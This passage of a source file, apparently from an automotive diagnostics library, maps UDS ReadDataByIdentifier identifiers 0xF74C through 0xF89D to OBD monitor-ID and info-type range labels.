- F7FF" UDS_RDBI.dataIdentifiers[0xf74c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf750] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf751] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf752] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf753] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf754] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf755] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf756] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf757] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf758] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf759] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf760] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf761] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf762] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf763] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf764] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf765] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf766] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf767] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf768] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf769] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf770] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf771] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf772] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf773] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf774] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf775] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf776] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf777] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf778] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf779] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf780] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf781] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf782] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf783] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf784] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf785] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf786] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf787] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf788] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf789] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf790] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf791] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf792] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf793] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf794] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf795] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf796] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf797] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf798] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf799] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7aa] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ab] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ac] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ad] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ae] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7af] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ba] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7be] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bf] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ca] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ce] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cf] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7da] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7db] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7dc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7dd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7de] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7df] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ea] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7eb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ec] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ed] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ee] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ef] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fa] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fe] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ff] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf800] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf801] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf802] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf803] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf804] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf805] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf806] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf807] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf808] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf809] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf810] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf811] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf812] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf813] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf814] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf815] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf816] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf817] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf818] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf819] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf820] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf821] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf822] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf823] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf824] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf825] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf826] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf827] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf828] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf829] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf830] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf831] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf832] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf833] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf834] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf835] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf836] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf837] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf838] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf839] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf840] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf841] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf842] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf843] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf844] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf845] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf846] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf847] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf848] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf849] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf850] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf851] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf852] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf853] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf854] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf855] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf856] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf857] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf858] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf859] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf860] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf861] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf862] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf863] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf864] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf865] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf866] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf867] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf868] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf869] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf870] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf871] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf872] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf873] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf874] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf875] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf876] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf877] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf878] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf879] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf880] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf881] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf882] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf883] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf884] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf885] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf886] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf887] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf888] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf889] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf890] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf891] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf892] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf893] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf894] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf895] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf896] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf897] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf898] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf899] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89d] = "OBDInfoTypes_F800_F8FF" 